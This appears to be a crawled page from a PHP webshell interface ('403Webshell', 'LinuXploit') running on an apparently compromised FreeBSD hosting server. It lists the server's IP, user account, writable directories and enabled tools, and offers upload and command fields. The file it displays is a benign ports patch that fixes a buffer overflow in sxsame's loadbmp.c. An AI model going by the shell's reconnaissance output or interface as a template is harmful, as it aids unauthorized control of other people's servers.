403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/games/sxsame/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/games/sxsame/files/patch-loadbmp.c
--- loadbmp.c.orig	Sun May  5 04:09:25 1996
+++ loadbmp.c	Tue Jul 11 21:30:24 2000
@@ -5,6 +5,9 @@
  * Copyleft  (c) 1994-1996  Software Research Academy                   *
  ************************************************************************/
 #include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/param.h>
 #include <X11/Xlib.h>
 #include "sxsame.h"
 
@@ -37,17 +40,24 @@
 	int c, c1,c2;
 	int width, height, planes, ncol;
 	int *col;
-	char fname[256];
+	char fname[MAXPATHLEN];
 
 	Pixmap w;
 	GC gc;
 	int i, j, k;
 
+	if (MAXPATHLEN <= strlen(bmpname) ) {
+		fprintf(stderr,"Error: BMP file name too long.\n");
+		return -1;
+	}
 	strcpy(fname,bmpname);
 	fp = fopen(fname,"rb");
 	if(fp == NULL)
 	{
-		sprintf(fname, "%s/%s", SAME_DIR, bmpname);
+		if (MAXPATHLEN <= snprintf(fname, MAXPATHLEN, "%s/%s", SAME_DIR, bmpname)) {
+			fprintf(stderr,"Error: BMP file name too long.\n");
+			return -1;
+		}
 		fp = fopen(fname, "r");
 		if(fp == NULL)
 		{

Youez - 2016 - github.com/yon3zu
LinuXploit